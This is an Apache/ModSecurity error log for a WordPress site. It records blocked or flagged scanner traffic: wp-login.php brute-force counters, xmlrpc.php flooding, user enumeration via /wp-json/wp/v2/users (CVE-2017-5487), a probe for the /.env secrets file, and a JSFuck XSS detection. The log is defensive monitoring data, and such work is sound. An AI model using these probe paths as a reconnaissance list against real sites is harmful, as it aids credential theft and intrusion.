[Sat Dec 13 03:32:14.766791 2025] [autoindex:error] [pid 60991:tid 61016] [client 20.196.106.26:63763] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Sat Dec 13 03:32:17.568400 2025] [autoindex:error] [pid 60991:tid 61013] [client 20.196.106.26:63763] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Dec 13 03:32:21.001658 2025] [:error] [pid 26521:tid 26600] [client 20.196.106.26:5136] [client 20.196.106.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.196.106.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTxtxZdhcAPU617AKTDynQAAAJU"], referer: https://www.yahoo.com/
[Sat Dec 13 03:32:22.218309 2025] [autoindex:error] [pid 60991:tid 60995] [client 20.196.106.26:63763] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sat Dec 13 03:32:23.626238 2025] [autoindex:error] [pid 60991:tid 61000] [client 20.196.106.26:63763] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Sat Dec 13 03:32:23.783423 2025] [autoindex:error] [pid 60991:tid 61005] [client 20.196.106.26:63763] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Sat Dec 13 03:32:26.516156 2025] [:error] [pid 26521:tid 26588] [client 20.196.106.26:5136] [client 20.196.106.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.196.106.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTxtypdhcAPU617AKTDyogAAAIk"], referer: https://www.bing.com/
[Sat Dec 13 03:41:38.664096 2025] [:error] [pid 61027:tid 61067] [client 38.97.60.82:57752] [client 38.97.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aTxv8qzAkXCoEs2QKBluAgAAAks"], referer: binance.com
[Sat Dec 13 04:01:30.512587 2025] [:error] [pid 60543:tid 60583] [client 20.196.106.26:17294] [client 20.196.106.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.196.106.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTx0miA1rxBkjD7d4WRzDwAAAEA"], referer: https://www.google.fr/
[Sat Dec 13 04:01:33.548843 2025] [autoindex:error] [pid 60636:tid 60652] [client 20.196.106.26:17375] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sat Dec 13 04:01:35.313035 2025] [autoindex:error] [pid 60636:tid 60640] [client 20.196.106.26:17375] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sat Dec 13 04:01:36.773635 2025] [autoindex:error] [pid 60636:tid 60663] [client 20.196.106.26:17375] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Sat Dec 13 04:16:35.775694 2025] [:error] [pid 64484:tid 64496] [client 38.97.60.82:63338] [client 38.97.60.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "aTx4IzlzElirZW-3d8SSxgAAAMk"], referer: binance.com
[Sat Dec 13 07:02:30.648889 2025] [:error] [pid 43836:tid 43858] [client 83.82.2.12:64917] [client 83.82.2.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "![!+ ]\\\\[\\\\]" at ARGS:0. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "173"] [id "213070"] [rev "1"] [msg "COMODO WAF: JSFuck / Hieroglyphy obfuscation detected||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTyfBmAEOBirsxb11naYsgAAANQ"]
[Sat Dec 13 07:45:04.521878 2025] [:error] [pid 43749:tid 43820] [client 106.54.62.156:53632] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTypAHOk7VNylTjPi3ynxQAAAI4"]
[Sat Dec 13 08:22:42.283280 2025] [:error] [pid 55071:tid 55096] [client 47.187.130.63:59317] [client 47.187.130.63] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aTyx0sHSpNduhEZ_mjd9KAAAAZc"]
[Sat Dec 13 08:23:46.740170 2025] [:error] [pid 43747:tid 43752] [client 47.187.130.63:60534] [client 47.187.130.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.187.130.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTyyEpYw3twBd_JQEHjE3wAAAAE"]
[Sat Dec 13 08:24:42.180002 2025] [:error] [pid 55071:tid 55097] [client 47.187.130.63:61458] [client 47.187.130.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.187.130.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTyySsHSpNduhEZ_mjd9iQAAAZg"]
[Sat Dec 13 08:25:42.246155 2025] [:error] [pid 55071:tid 55083] [client 47.187.130.63:62489] [client 47.187.130.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.187.130.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTyyhsHSpNduhEZ_mjd9rwAAAYo"]
[Sat Dec 13 08:26:46.480301 2025] [:error] [pid 43748:tid 43794] [client 47.187.130.63:63430] [client 47.187.130.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.187.130.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTyyxqrTT0VzE3gYjcBRHQAAAE8"]
[Sat Dec 13 08:27:42.168703 2025] [:error] [pid 55037:tid 55058] [client 47.187.130.63:64420] [client 47.187.130.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.187.130.63, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTyy_hyx7iFaaIMvMOEtswAAAVM"]
[Sat Dec 13 11:25:21.474392 2025] [:error] [pid 55071:tid 55094] [client 124.156.225.181:57684] [client 124.156.225.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTzcocHSpNduhEZ_mjeW6AAAAZU"]
[Sat Dec 13 13:00:34.462165 2025] [:error] [pid 8181:tid 8198] [client 45.154.98.18:50520] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTzy8ocsztoZQ9y1QdUPiAAAAgg"]
[Sat Dec 13 13:00:35.072234 2025] [:error] [pid 43748:tid 43799] [client 45.154.98.18:50799] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTzy86rTT0VzE3gYjcCH7AAAAFQ"]
[Sat Dec 13 13:00:35.679122 2025] [:error] [pid 43836:tid 43858] [client 45.154.98.18:51277] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTzy82AEOBirsxb11nbT8AAAANQ"]
[Sat Dec 13 13:00:36.289497 2025] [:error] [pid 8181:tid 8210] [client 45.154.98.18:52050] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTzy9IcsztoZQ9y1QdUPywAAAhQ"]
[Sat Dec 13 13:00:36.872020 2025] [:error] [pid 55037:tid 55044] [client 45.154.98.18:53006] [client 45.154.98.18] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTzy9Byx7iFaaIMvMOFS8AAAAUU"]
[Sat Dec 13 13:49:48.366806 2025] [:error] [pid 21850:tid 21869] [client 34.53.65.0:40018] [client 34.53.65.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.53.65.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTz-fKRrorFv7OBo2RnkqAAAA1A"]
[Sat Dec 13 14:12:57.950654 2025] [:error] [pid 21342:tid 21356] [client 182.42.111.156:59473] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aT0D6fBL0VVSMIEvqssslwAAAwo"]
[Sat Dec 13 16:33:11.481640 2025] [:error] [pid 21342:tid 21367] [client 34.85.146.176:64890] [client 34.85.146.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.146.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT0kx_BL0VVSMIEvqstIuwAAAxU"]
[Sat Dec 13 16:33:16.624073 2025] [:error] [pid 21342:tid 21369] [client 34.85.146.176:64890] [client 34.85.146.176] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aT0kzPBL0VVSMIEvqstIxAAAAxc"]
[Sat Dec 13 16:33:18.333683 2025] [:error] [pid 21342:tid 21361] [client 34.85.146.176:64890] [client 34.85.146.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.146.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT0kzvBL0VVSMIEvqstIxgAAAw8"]
[Sat Dec 13 16:33:20.524398 2025] [:error] [pid 39287:tid 39291] [client 34.85.146.176:60592] [client 34.85.146.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.146.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT0k0DBwBW1JRRoCYqZ2nQAAAQI"]
[Sat Dec 13 16:33:22.494492 2025] [:error] [pid 39287:tid 39306] [client 34.85.146.176:50920] [client 34.85.146.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.146.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT0k0jBwBW1JRRoCYqZ2oAAAARE"]
[Sat Dec 13 16:33:24.472434 2025] [:error] [pid 43748:tid 43794] [client 34.85.146.176:60993] [client 34.85.146.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.146.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT0k1KrTT0VzE3gYjcCZDAAAAE8"]
[Sat Dec 13 16:33:26.453868 2025] [:error] [pid 43836:tid 43852] [client 34.85.146.176:54047] [client 34.85.146.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.85.146.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT0k1mAEOBirsxb11nbouAAAAM4"]
[Sat Dec 13 16:33:26.454092 2025] [:error] [pid 43836:tid 43852] [client 34.85.146.176:54047] [client 34.85.146.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.85.146.176, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT0k1mAEOBirsxb11nbouAAAAM4"]
[Sat Dec 13 18:23:00.962322 2025] [:error] [pid 22505:tid 22510] [client 43.135.142.7:37312] [client 43.135.142.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aT0-hDvNI-35hW16TnUP9gAAA4M"]
[Sat Dec 13 19:27:09.196983 2025] [:error] [pid 43747:tid 43766] [client 3.78.43.27:52128] [client 3.78.43.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.78.43.27, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT1NjZYw3twBd_JQEHgq0QAAAA8"]
[Sat Dec 13 19:40:50.955109 2025] [:error] [pid 43836:tid 43851] [client 193.233.203.231:55470] [client 193.233.203.231] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aT1QwmAEOBirsxb11nb50gAAAM0"]
[Sat Dec 13 19:48:54.374995 2025] [:error] [pid 43747:tid 43756] [client 43.130.111.40:33854] [client 43.130.111.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aT1SppYw3twBd_JQEHgvsgAAAAU"]
[Sat Dec 13 20:22:16.406506 2025] [:error] [pid 22505:tid 22522] [client 64.225.102.252:46544] [client 64.225.102.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.225.102.252, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT1aeDvNI-35hW16TnUbLwAAA48"]
[Sat Dec 13 20:53:05.555830 2025] [:error] [pid 43747:tid 43760] [client 203.2.64.59:56944] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aT1hsZYw3twBd_JQEHg4agAAAAk"]
[Sat Dec 13 21:53:32.974665 2025] [:error] [pid 43747:tid 43769] [client 66.175.44.32:60518] [client 66.175.44.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT1v3JYw3twBd_JQEHhE3QAAABI"]
[Sat Dec 13 21:53:36.087533 2025] [:error] [pid 43747:tid 43772] [client 66.175.44.32:60518] [client 66.175.44.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.44.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT1v4JYw3twBd_JQEHhE4AAAABU"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 14 01:05:32.829059 2025] [:error] [pid 3720:tid 3732] [client 43.156.202.34:53436] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aT2c3O7_sgsCEY5RMYraHQAAAIo"]
[Sun Dec 14 01:44:27.679732 2025] [:error] [pid 3720:tid 3726] [client 194.233.64.35:49800] [client 194.233.64.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.233.64.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT2l--7_sgsCEY5RMYrkXAAAAIQ"]
[Sun Dec 14 01:44:29.778344 2025] [:error] [pid 3720:tid 3739] [client 194.233.64.35:49800] [client 194.233.64.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.233.64.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT2l_e7_sgsCEY5RMYrkXgAAAJE"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 14 02:27:48.672455 2025] [:error] [pid 3635:tid 3666] [client 43.157.191.20:51548] [client 43.157.191.20] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aT2wJDqfhzW7OpfKxKzzqwAAAME"]
[Sun Dec 14 02:28:04.428951 2025] [:error] [pid 3720:tid 3732] [client 27.5.59.12:53645] [client 27.5.59.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.5.59.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aT2wNO7_sgsCEY5RMYrr_wAAAIo"]
[Sun Dec 14 03:22:55.236019 2025] [:error] [pid 14689:tid 14712] [client 121.229.185.160:44478] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aT29D0Ecifvaa9I7SnmiuwAAAVM"]
[Sun Dec 14 04:52:08.417705 2025] [:error] [pid 39524:tid 39575] [client 27.5.59.12:55283] [client 27.5.59.12] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aT3R-GrVGpbDzFtDE9P_IQAAAFM"]
